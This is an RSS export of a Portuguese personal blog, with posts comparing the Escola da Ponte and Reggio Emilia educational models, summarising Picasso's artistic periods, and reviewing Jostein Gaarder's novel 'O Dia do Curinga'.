<strong><a style="text-decoration: none;" href="http://www.helomartins.com.br/baixar-materiais.html">A Difícil Arte de Dizer Não aos Filhos.<br />
</a><a href="http://br.guiainfantil.com/disciplina/419-criancas-sem-valores.html" target="_blank"><span style="text-decoration: none;">Crianças sem valores e Limites</span></a></strong></p>
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		<title>Escola da Ponte e Reggio Emília</title>
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		<pubDate>Mon, 23 Feb 2009 14:34:28 +0000</pubDate>
		<dc:creator>Heloise Martins</dc:creator>
		
		<category><![CDATA[Artigos]]></category>

		<category><![CDATA[Educação]]></category>

		<category><![CDATA[Escola da Ponte]]></category>

		<category><![CDATA[experiência]]></category>

		<category><![CDATA[qualidade]]></category>

		<category><![CDATA[Reggio Emília]]></category>

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		<description><![CDATA[Quero mostrar aqui um pouco sobre duas experiências de educação que li na Revista Criança números 42 e 43. Sempre que vejo matérias como estas é comum experimentar  um sentimento de frustração e impotência. Pois ao compararmos  a nossa realidade educacional com o que acontece em outros locais, como a Escola da Ponte em Portugal com [...]]]></description>
			<content:encoded><![CDATA[<p class="MsoNormal" style="margin: 0cm 0cm 10pt; text-indent: 35.4pt;"><span style="font-size: small;"><span style="font-family: Calibri;">Quero mostrar aqui um pouco sobre duas experiências de educação que li na Revista Criança números 42 e 43. Sempre que vejo matérias como estas é comum experimentar  um sentimento de frustração e impotência. Pois ao compararmos  a nossa realidade educacional com o que acontece em outros locais, como a Escola da Ponte em Portugal com seu Projeto Político Pedagógico ou a política  de educação adotada em Reggio Emília na Itália, percebo o quanto estamos distantes de um ensino público realmente de qualidade.<br />
No entanto, ao conhecer realidades tão distintas da nossa, a pergunta a ser feita é: O que posso aprender com essa experiência? O que posso aproveitar para a mudança de minha prática?<br />
Assim, ao invés de apenas lamentar, assume-se uma postura de agir, criar, modificar e, conseqüentemente, aprender.<br />
</span></span></p>
<div class="MsoNormal" style="margin: 0cm 0cm 10pt; text-indent: 35.4pt;"><strong>Escola da Ponte, Vila das Aves, norte de Portugal</strong><a href="http://helomartins.blog.br/wp-content/uploads/2009/02/escola-da-ponte.jpg"><strong><img class="size-medium wp-image-67 alignnone" title="escola-da-ponte" src="http://helomartins.blog.br/wp-content/uploads/2009/02/escola-da-ponte-300x199.jpg" alt="Google images" width="300" height="199" /></strong></a><br />
“&#8230; a compreensão do porquê das coisas é questão primordial, tanto para os professores quanto para as crianças.” SANTA ROSA, 2006<br />
A escola foi erguida em 1932, teve seu Projeto Político Pedagógico (Fazer a Ponte) iniciado em 1976 e, em 2004, assinou um contrato de autonomia com o Ministério de Educação passando a poder selecionar seus profissionais e a avaliá-los todos os anos. Na escola, a idéia de projeto representa um conjunto de princípios e práticas que rompem com o paradigma da escola tradicional.<br />
O currículo da escola é fundamentado no oficial de Portugal , no entanto, sua gestão é feita individualmente de acordo com a vida escolar de cada aluno. As crianças são agrupadas em núcleos: Iniciação, Consolidação e Aprofundamento.<br />
Outro ponto interessante é o trabalho com grupos de responsabilidade. Tais grupos garantem a gestão cooperativa da Escola, crianças de diferentes idades se misturam em cada um deles. Existem grupos responsáveis pelo jornal, pela organização do recreio, etc.<br />
<strong>Leia a matéria na íntegra: <a href="http://portal.mec.gov.br/seb/arquivos/pdf/Educinf/revista42.pdf">Revista Criança,  número 42, p.28 </a><br />
Site oficial: <a href="http://www.eb1-ponte-n1.rcts.pt/">Escola da Ponte</a></strong></div>
<p><strong>Reggio Emília, norte da Itália</strong></p>
<div><span style="font-size: small;"><span style="font-family: Calibri;"> <img class="size-medium wp-image-76 alignnone" title="reggio-emilia" src="http://helomartins.blog.br/wp-content/uploads/2009/02/reggio-emilia-300x170.jpg" alt="" width="300" height="170" /></span></span></div>
<div><span style="font-size: small;"><span style="font-family: Calibri;"> </span></span> <span style="font-size: small;"><span style="font-family: Calibri;">“É uma postura investigativa (o registro) que adquire força a partir do confronto entre diversos ponto de vista, com a consciência de que, em educação, o fundamental é assumir a incerteza como parâmetro de referência.” GIACOPINI, 2007</span></span></div>
<p>As instituições de educação infantil da cidade têm como princípios indicadores de qualidade a inovação teórica, a experimentação, a documentação, formação continuada e a participação da comunidade na gestão escolar.<br />
Bastante interessante é a idéia de educação participativa. Em Reggio Emília o ano letivo começa em setembro, mas já em janeiro as famílias da cidade recebem da prefeitura informações sobre as escolas e conveniadas para decidirem em qual matricularão seus filhos. De maio a agosto acontecem encontros para a apresentação das escolas e divulgação dos materiais de ensino. E , ao longo do ano, a interação entre a comunidade escolar é intensa fazendo com que todos sejam construtores da experiência educativa.<br />
<strong>Leia a matéria na íntegra:</strong></p>
<p><strong> <a href="http://portal.mec.gov.br/seb/arquivos/pdf/Educinf/revista43.pdf">Revista Criança, número 43, p.5</a></strong></p>
<p><a href="http://www.oei.es/noticias/IMG/pdf/revista_crianca44.pdf"><strong>Revista Criança, número 44, p. 30</strong></a></p>
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		</item>
		<item>
		<title>Pablo Picasso</title>
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		<pubDate>Sat, 03 Jan 2009 18:37:09 +0000</pubDate>
		<dc:creator>Heloise Martins</dc:creator>
		
		<category><![CDATA[Arte]]></category>

		<category><![CDATA[Picasso]]></category>

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		<description><![CDATA[Dois anos atrás eu li o livro do Picasso da editora Taschen e fiz um resumo, muito interessante a vida desse artista, a começar pelo seu nome:
Pablo Diego José Francisco de Paula Juan Nepomuceno María de los Remedios Cipriano de la Santísima Trinidad Martyr Patricio Clito Ruíz y Picasso.
Nasce em Málaga, Espanha em 1881 e [...]]]></description>
			<content:encoded><![CDATA[<p>Dois anos atrás eu li o livro do Picasso da editora Taschen e fiz um resumo, muito interessante a vida desse artista, a começar pelo seu nome:</p>
<p>Pablo Diego José Francisco de Paula Juan Nepomuceno María de los Remedios Cipriano de la Santísima Trinidad Martyr Patricio Clito Ruíz y Picasso.</p>
<p>Nasce em Málaga, Espanha em 1881 e morre em 1973.<br />
Iniciou suas aulas de arte aos cinco anos e sua família guardou praticamente todas as obras de infância e juventude, somando um total de 2200 obras.</p>
<p><strong>Período azul:</strong>  </p>
<p><div id="attachment_45" class="wp-caption alignnone" style="width: 207px"><a href="http://helomartins.blog.br/wp-content/uploads/2009/01/picasso12.jpg"><img class="size-medium wp-image-45" title="A Vida, Picasso" src="http://helomartins.blog.br/wp-content/uploads/2009/01/picasso12-197x300.jpg" alt="" width="197" height="300" /></a><p class="wp-caption-text">A Vida, Picasso</p></div></p>
<p style="text-align: left;">É uma fase de síntese após um período de análise em que copiou os grandes pintores.<br />
Pinta prostitutas, mendigos, embriagados dos cafés e botequins de Paris (seu ambiente inicial era Barcelona) <br />
Usa um número restrito de motivos: homens e mulheres à mesa sós ou aos pares, refeições, figuras agachadas junto ao chão, sentadas, personagens que apóiam a cabeça nas mãos ou cujos braços enlaçam o próprio corpo.<br />
Usa o claro-escuro (influência de El Greco)<br />
A fase azul está lidada a ambientes tristes, eróticos, dor, sofrimento.<br />
Obra mais importante desse período: “A Vida”</p>
<p style="text-align: left;">  <strong>Período rosa:</strong></p>
<p><strong></strong></p>
<p><strong></strong></p>
<p><strong></strong></p>
<p><strong></strong></p>
<p><strong></strong></p>
<p><strong></strong></p>
<p><strong></strong></p>
<p><strong></strong></p>
<p><strong></strong></p>
<p><strong></strong></p>
<p><strong></strong></p>
<p><strong></p>
<p><div id="attachment_48" class="wp-caption alignnone" style="width: 250px"><a href="http://helomartins.blog.br/wp-content/uploads/2009/01/familia-saltimbanques-1905.jpg"><img class="size-medium wp-image-48  " title="A Família de Saltimbancos" src="http://helomartins.blog.br/wp-content/uploads/2009/01/familia-saltimbanques-1905-300x277.jpg" alt="google images" width="240" height="222" /></a><p class="wp-caption-text">A Família de Saltimbancos </p></div></p>
<p></strong></p>
<p> </p>
<p>Deslocamento do seu centro de interesse. Começa a explorar a beleza e as cores vibrantes das roupas dos arlequins.<br />
Inicia com a obra “Mulher com a Gralha”<br />
Se relaciona com a vanguarda literária de Paris ( Apollinaire, por exemplo)<br />
Realiza obras eróticas<br />
Quadro mais importante da fase: “A Família de Saltimbancos” que foi precedido de alguns estudos.<br />
Com as representações das fases rosa e azul Picasso se opunha à arte oficial e às convenções.</p>
<p><strong>O cubismo, 1906 a 1915:<br />
<span style="font-weight: normal;">Inicia experiências formais, compreende a figura humana a partir do volume plástico que é reduzido a blocos.<br />
Estilização</span></strong></p>
<p><strong></strong></p>
<p><strong></strong></p>
<p><strong></strong></p>
<p><strong></strong></p>
<p><strong></strong></p>
<p><strong></strong></p>
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<p><div id="attachment_58" class="wp-caption alignnone" style="width: 292px"><a href="http://helomartins.blog.br/wp-content/uploads/2009/01/asmeninasdeavinhao-1.jpg"><img class="size-medium wp-image-58" title="As Meninas de Avinhão" src="http://helomartins.blog.br/wp-content/uploads/2009/01/asmeninasdeavinhao-1-282x300.jpg" alt="As Meninas de Avinhão" width="282" height="300" /></a><p class="wp-caption-text">As Meninas de Avinhão</p></div></p>
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<p>Em 1907 pinta, “As Meninas de Avinhão”, após nove meses e 809 estudos (maior número de estudos na história da arte). Lançou mão da monocromia e do contraste. Cria zonas perfeitamente abstratas por meio de tracejados, de camadas lisas de cor ou de modulações, mas não renuncia à representação figurativa.</p>
<p>A obra é uma síntese entre a recusa da norma e a sua aplicação. O primeiro estudo retratava uma casa de prostituição da Rua de Avinhão em Barcelona. Picasso retirou os detalhes que evocavam o local.<br />
A pintura perde sua função imitativa e se liberta da prisão ao modelo. Tendência a uma concepção abstrata do objeto pictórico.<br />
Cubismo analítico: o tema da representação é, de certa forma, desmontado e analisado.<br />
O nome “cubismo” surgiu quando Matisse, júri do Salão de Outono, disse ao crítico de arte Louis Vauxcelles que tais pinturas eram constituídas por numerosos cubos pequenos no momento em que Braque tenta expor no Salão de Outono e não consegue .<br />
Braque expõe na Galeria Kahnweiler em 1907, e logo após estabelece com Picasso uma intensa relação artística. Chegam à abstração pura em 1910.</p>
<p>Em pintura, a beleza e o sentido estético não estão necessariamente ligados à ilusão figurativa.</p>
<p>Braque: mais trabalhador, lento e cuidadoso, pinturas sutis<br />
Picasso: saltos entre diferentes formas, abrupto, inconstante</p>
<p>A carreira de Picasso, até sua penetração decisiva no cubismo, também foi um produto do mercado da arte e das suas especulações.<br />
Mas os conhecedores de arte já sabiam que algo novo estava por vir. Em 1907, Vollard comprou todas as obras de Picasso por 2500 francos.</p>
<p><span> </span>Em Paris, Braque e Picasso fizeram um contrato com o alemão negociante de quadros D. H. Kahnweiler, que comprava as obras a preço fixo. <br />
Picasso nunca expôs num salão parisiense.<br />
Picasso inventou um novo gênero com a obra “Natureza Morta com Cadeira Empalhada”: a colagem.</p>
<p><span> </span>Princípio fundamental do cubismo: combinação de formas figurativas e não figurativas.</p>
<p><span> </span>Picasso cria a técnica assemblagem, que é a colagem aplicada na escultura (escultura do cubismo sintético). Obra: “O Copo de Absinto” feito em seis exemplares. </p>
<p><span> </span>A partir dos anos vinte, Picasso é considerado como tendo operado a abertura decisiva para a arte moderna.</p>
<p><span> </span>Entre 1916 e 1936 Picasso inicia com as tendências classicismo e surrealismo simultaneamente à produção de obras cubistas.</p>
<p><span> </span></p>
<p><strong>1923 - O surrealismo </strong><br />
Exerce forte influência em Picasso.<br />
O impulso inicial do Surrealismo foi dado por Freud, na psicanálise, Rembaud, Mallarmé, Lautréamont e Apollinaire, na poesia. <br />
O objetivo do Surrealismo é tornar ativo o inconsciente e o sonho sob o signo do pensamento psicanalítico, sem ter em conta a ordem causal e científica dos objetos dos sentidos, mas procurando uma valorização ilimitada do irracional.</p>
<p><strong>“Guernica” – a obra mais célebre do séc XX.</strong></p>
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<p><div id="attachment_55" class="wp-caption alignnone" style="width: 310px"><a href="http://helomartins.blog.br/wp-content/uploads/2009/01/guernica.jpeg"><img class="size-medium wp-image-55" title="Guernica" src="http://helomartins.blog.br/wp-content/uploads/2009/01/guernica-300x112.jpg" alt="Guernica" width="300" height="112" /></a><p class="wp-caption-text">Guernica</p></div></p>
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<p>Obra encomendada pelo governo para o Pavilhão Espanhol na Exposição Universal de Paris em 1937.</p>
<p><strong><span style="font-weight: normal;"> A Espanha estava em guerra civil desde 1937 e um bombardeio na cidade de Guernica y Luno no País Basco levou Picasso a mudar o motivo da obra que, inicialmente, seria uma cena de estúdio sobre a liberdade da arte.<br />
Guernica foi realizada em cinco semanas, com quarenta e cinco estudos além de uma série de fotografias que ilustram os diversos estados do quadro.</span></strong></p>
<p><strong>Pilares do “estilo Picasso”</strong><strong>:<br />
<span style="font-weight: normal;">Dissociação cubista<br />
Figuração<br />
Simbologia infantil</span></strong></p>
<p><span> </span></p>
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		<title>O Dia do Curinga, Jostein Gaarder, 1990</title>
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		<pubDate>Tue, 30 Dec 2008 19:02:13 +0000</pubDate>
		<dc:creator>Heloise Martins</dc:creator>
		
		<category><![CDATA[Livros]]></category>

		<category><![CDATA[anão]]></category>

		<category><![CDATA[baralho]]></category>

		<category><![CDATA[jostein gaarder]]></category>

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Sabe aquele tipo de livro pelo qual você se apaixona e lê várias vezes? Pois é, comigo aconteceu com O dia do Curinga. Não digo que é o melhor que já li, pois acho que é uma tarefa demorada, difícil e inútil tentar escolher &#8220;o melhor livro&#8221; já que são tantos e tão maravilhosos que [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://www.geocities.com/philosophiaonline/800x600/livros/curinga.jpg" alt="" /></p>
<p>Sabe aquele tipo de livro pelo qual você se apaixona e lê várias vezes? Pois é, comigo aconteceu com O dia do Curinga. Não digo que é o melhor que já li, pois acho que é uma tarefa demorada, difícil e inútil tentar escolher &#8220;o melhor livro&#8221; já que são tantos e tão maravilhosos que o melhor a fazer é ler sempre aquilo que gostamos.</p>
<p>Duas histórias acontecem permeadas de muita filosofia. Uma é real: um pai e seu filho viajam pela Europa em busca da mãe. A outra é mágica: acontece numa ilha fantástica povoada por anões que representam as cartas do baralho e seres fabulosos, além de enigmas que vamos deliciosamente decifrando ao longo da narrativa.<br />
O livro é um exemplo de literatura de fantasia, em que, em meio a uma vida real temos elementos ou histórias mágicas, fantasiosas.<br />
Em resumo, o livro é MARAVILHOSO!</p>
<p>Olha aí alguns pedacinhos:</p>
<p>&#8220;&#8230; ela disse ter lido na Bíblia que Deus está lá no céu e ri das pessoas que nao acreditam nele.&#8221;</p>
<p>&#8220;&#8230; se há ums Deus, que nos criou, então de certa forma somos artificiais aos seus olhos. Falamos besteiras, discutimos e brigamos entre nós. Depois nos separamos e morremos. Mas nenhum de nós se pergunta de onde veio. Agenta simplesmente se contenta em estar por aqui, dividindo com  os outros esse espaço.&#8221; p.28-29</p>
<p>&#8220;Os anjos são mais inteligentes do que os homens. E eles são tão inteligentes quanto Deus, mas entendem tudo o que nós, humanos, somos capazes de entender, só que sem terem de ficar pensando sobre as coisas.&#8221;</p>
<p>&#8220;Se nosso cérebro fosse tão simples a ponto de podermos entendê-lo&#8230;, seríamos tão tolos que continuaríamos sem entendê-lo.&#8221;</p>
<p>Baixe o livro no <strong><a title="o dia do curinga" href="http://www.livrosparatodos.net/downloads/o-dia-do-curinga.html">Livros para Todos</a></strong></p>
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